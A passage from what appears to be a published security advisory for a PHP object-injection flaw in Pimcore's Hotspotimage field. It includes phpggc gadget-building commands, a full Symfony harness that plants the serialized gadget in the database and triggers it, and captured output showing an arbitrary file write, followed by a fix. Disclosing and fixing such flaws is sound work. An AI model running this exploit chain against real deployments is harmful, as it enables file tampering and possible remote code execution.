`\u003cfield\u003e__image`.\n\nThe attacker primitive is the ability to place crafted serialized bytes into the `\u003cfield\u003e__hotspots` store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.\n\n## Proof of Concept\n\nVerified end-to-end against a real, locally deployed Pimcore `v2026.1.4` (Composer skeleton + MariaDB + `pimcore:install`), not a ported stub. The gadget is `phpggc Guzzle/FW1` built against Pimcore's own bundled `guzzlehttp/guzzle 7.11.0`; its `GuzzleHttp\\Cookie\\FileCookieJar::__destruct` writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).\n\nGadget generation (476→474 raw bytes, non-JSON so the `unserialize` fallback is taken):\n```\nprintf 'PWNED_BY_DESERIALIZATION_%s' \"$(date +%s)\" \u003e /tmp/ggc_local_src.txt\n./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\\n' \u003e /tmp/ggc_guzzle_fw1.ser\n# stored bytes begin: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{...\n```\n\nReproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into `object_store_\u003cid\u003e.img__hotspots`, then reloads the object through the real Pimcore model layer):\n```php\n\u003c?php\ndeclare(strict_types=1);\nnamespace App\\Command;\n\nuse Pimcore\\Db;\nuse Pimcore\\Model\\Asset;\nuse Pimcore\\Model\\DataObject;\nuse Pimcore\\Model\\DataObject\\ClassDefinition;\nuse Symfony\\Component\\Console\\Attribute\\AsCommand;\nuse Symfony\\Component\\Console\\Command\\Command;\nuse Symfony\\Component\\Console\\Input\\InputInterface;\nuse Symfony\\Component\\Console\\Input\\InputOption;\nuse Symfony\\Component\\Console\\Output\\OutputInterface;\n\n#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]\nfinal class E2eHotspotCommand extends Command\n{\n    protected function configure(): void\n    {\n        $this-\u003eaddOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');\n        $this-\u003eaddOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');\n    }\n\n    protected function execute(InputInterface $input, OutputInterface $output): int\n    {\n        $o = fn (string $m) =\u003e $output-\u003ewriteln($m);\n        $gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');\n        $target = '/tmp/pimcore_pwned_hotspot.txt';\n        @unlink($target);\n\n        $o('=== STEP 1: create DataObject class with a Hotspotimage field ===');\n        $class = ClassDefinition::getByName('E2eHotspot');\n        if (!$class) {\n            $class = new ClassDefinition();\n            $class-\u003esetName('E2eHotspot');\n            $class-\u003esetGroup('e2e');\n            $field = new ClassDefinition\\Data\\Hotspotimage();\n            $field-\u003esetName('img');\n            $field-\u003esetTitle('img');\n            $panel = new ClassDefinition\\Layout\\Panel();\n            $panel-\u003esetName('Layout');\n            $panel-\u003eaddChild($field);\n            $class-\u003esetLayoutDefinitions($panel);\n            $class-\u003esave();\n        }\n        $o('  class id=' . $class-\u003egetId());\n\n        $o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');\n        $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');\n        $asset = Asset::getByPath('/e2e_pixel.png');\n        if (!$asset) {\n            $asset = new Asset\\Image();\n            $asset-\u003esetFilename('e2e_pixel.png');\n            $asset-\u003esetParent(Asset::getById(1));\n            $asset-\u003esetData($png);\n            $asset-\u003esave();\n        }\n        $o('  asset id=' . $asset-\u003egetId());\n\n        $o('=== STEP 3: create+save object carrying that image ===');\n        $obj = DataObject::getByPath('/e2e_obj');\n        if (!$obj) {\n            $fqcn = '\\\\Pimcore\\\\Model\\\\DataObject\\\\' . $class-\u003egetName();\n            $obj = new $fqcn();\n            $obj-\u003esetKey('e2e_obj');\n            $obj-\u003esetParent(DataObject::getById(1));\n            $obj-\u003esetPublished(true);\n            $obj-\u003esetValue('img', new DataObject\\Data\\Hotspotimage($asset));\n            $obj-\u003esave();\n        }\n        $objId = $obj-\u003egetId();\n        $store = 'object_store_' . $class-\u003egetId();\n        $o('  object id=' . $objId . '  store=' . $store);\n\n        $o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');\n        $db = Db::get();\n        $payload = $input-\u003egetOption('benign')\n            ? json_encode(['hotspots' =\u003e [], 'marker' =\u003e [], 'crop' =\u003e []])\n            : $gadget;\n        $db-\u003eexecuteStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);\n        $stored = (string) $db-\u003efetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);\n        $o('  stored prefix: ' . substr($stored, 0, 60));\n        $o('  json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . '  (=\u003e unserialize fallback)');\n\n        $o('=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===');\n        \\Pimcore\\Cache::clearAll();\n        \\Pimcore\\Cache\\RuntimeCache::clear();\n        $o('  target file before load exists? ' . var_export(file_exists($target), true));\n\n        if ($input-\u003egetOption('restricted')) {\n            $o('  [negative control] fixed wrapper allowed_classes=false on the same bytes');\n            $res = @unserialize($stored, ['allowed_classes' =\u003e false]);\n            $o('  returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));\n            gc_collect_cycles();\n        } else {\n            try {\n                $reloaded = DataObject\\Concrete::getById($objId, ['force' =\u003e true]);\n                $reloaded-\u003egetImg(); // triggers Hotspotimage::getDataFromResource() lazy load\n                $o('  reloaded class=' . get_class($reloaded));\n                unset($reloaded);\n            } catch (\\Throwable $e) {\n                $o('  (post-unserialize downstream error, gadget already instantiated): ' . $e-\u003egetMessage());\n            }\n            gc_collect_cycles();\n        }\n\n        $o('=== RESULT ===');\n        clearstatcache();\n        if (file_exists($target)) {\n            $o('  [VULNERABLE] gadget file WRITTEN: ' . $target);\n            $o('  contents: ' . trim((string) file_get_contents($target)));\n        } else {\n            $o('  [NOT TRIGGERED] target file absent');\n        }\n        return Command::SUCCESS;\n    }\n}\n```\n\nCaptured output — RUN A (positive, gadget):\n```\n=== STEP 1: create DataObject class with a Hotspotimage field ===\n  class id=1\n=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===\n  asset id=2\n=== STEP 3: create+save object carrying that image ===\n  object id=4  store=object_store_1\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n  json_decode(stored) === null ? true  (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n  target file before load exists? false\n  (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\\Cookie\\FileCookieJar as array\n=== RESULT ===\n  [VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt\n  contents: [{\"Expires\":1,\"Discard\":false,\"Value\":\"PWNED_BY_DESERIALIZATION_1780420803\"}]\n```\n\nCaptured output — RUN B (negative control, benign JSON in the column):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  [negative control] storing benign JSON\n  stored prefix: {\"hotspots\":[],\"marker\":[],\"crop\":[]}\n  json_decode(stored) === null ? false  (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n  target file before load exists? false\n  reloaded class=Pimcore\\Model\\DataObject\\E2eHotspot\n=== RESULT ===\n  [NOT TRIGGERED] target file absent\n```\n\nCaptured output — RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):\n```\n=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===\n  stored prefix: O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:36:\"\\GuzzleHttp\\\n  json_decode(stored) === null ? true  (=\u003e unserialize fallback)\n=== STEP 5: clear cache + reload object =\u003e getDataFromResource() ===\n  target file before load exists? false\n  [negative control] fixed wrapper allowed_classes=false on the same bytes\n  returned type=object class=__PHP_Incomplete_Class\n=== RESULT ===\n  [NOT TRIGGERED] target file absent\n```\n\nRUN A shows the attacker bytes drive `unserialize()` to instantiate the `GuzzleHttp\\Cookie\\FileCookieJar` gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe `json_decode` branch (no deserialization, no file). RUN C shows that performing the same deserialization with an `allowed_classes` allowlist returns an inert `__PHP_Incomplete_Class` and the gadget never runs — i.e. the proposed fix neutralizes the attack.\n\n## Impact\n\nPHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled `guzzlehttp/guzzle 7.11.0` `FileCookieJar` chain. Because the `*__hotspots` column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.\n\n## Remediation\n\nMake `Serialize::unserialize()` safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.\n\nPreferred minimal fix at the wrapper (closes the whole `Serialize::unserialize()`-without-allowlist family in one place):\n```php\npublic static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed\n```\n(i.e. flip the default to `false`, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass `['allowed_classes' =\u003e false]` (or a tight allowlist such as `[MarkerHotspotItem::class]`) explicitly. RUN C above confirms `allowed_classes` deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1","status":"published","published":"2026-08-28T19:13:25Z","modified":"2026-08-28T19:40:40.69928Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:58.04805Z"}]}}
